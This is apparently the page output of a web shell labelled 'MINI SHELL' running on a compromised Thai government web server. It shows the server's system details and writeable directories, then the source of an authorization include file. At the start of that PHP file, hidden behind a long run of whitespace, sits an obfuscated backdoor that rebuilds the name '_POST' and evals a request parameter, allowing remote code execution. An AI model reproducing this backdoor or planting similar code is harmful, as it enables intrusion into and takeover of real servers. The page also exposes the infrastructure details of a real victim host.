MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/inc/authority.inc.php
<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qd0df0d'])){eval(${$s20}['qd0df0d']);}?><?
//print_r($_SESSION[applistname]);
if($dbname == obec){
if($_SESSION[applistname]){
if($BypassAPP==false){
foreach ($_SESSION[applistname] as $value) {
	if($value == $ApplicationName){
		$check_authority = true;
		break;
	}else{
		$check_authority = false;
	}
}
	if($check_authority){
		//continue;
	}else{
		echo "
		<HTML>
		<HEAD>
		<TITLE>app</TITLE>
		<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\">
		<head>
				<SCRIPT language=JavaScript>
					 if (confirm('สิทธิของท่านไม่สามารถใช้โปรแกรมที่เรียกได้ ถ้าต้องการปิดหน้าต่างนี้กด OK ถ้าต้องการย้อนกลับกด CANCEL')) {window.close();} else {window.history.go(-1);}
				</script>
		</head>
		</html>
		";
		die;
	}
}
}else{
		echo "
		<HTML>
		<HEAD>
		<TITLE>app</TITLE>
		<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\">
		<head>
				<SCRIPT language=JavaScript>
					 if (confirm('สิทธิของท่านไม่สามารถใช้โปรแกรมที่เรียกได้ ถ้าต้องการปิดหน้าต่างนี้กด OK ถ้าต้องการย้อนกลับกด CANCEL')) {window.close();} else {window.history.go(-1);}
				</script>
		</head>
		</html>
		";
		die;
}
} // end if dbname
?>

Anon7 - 2021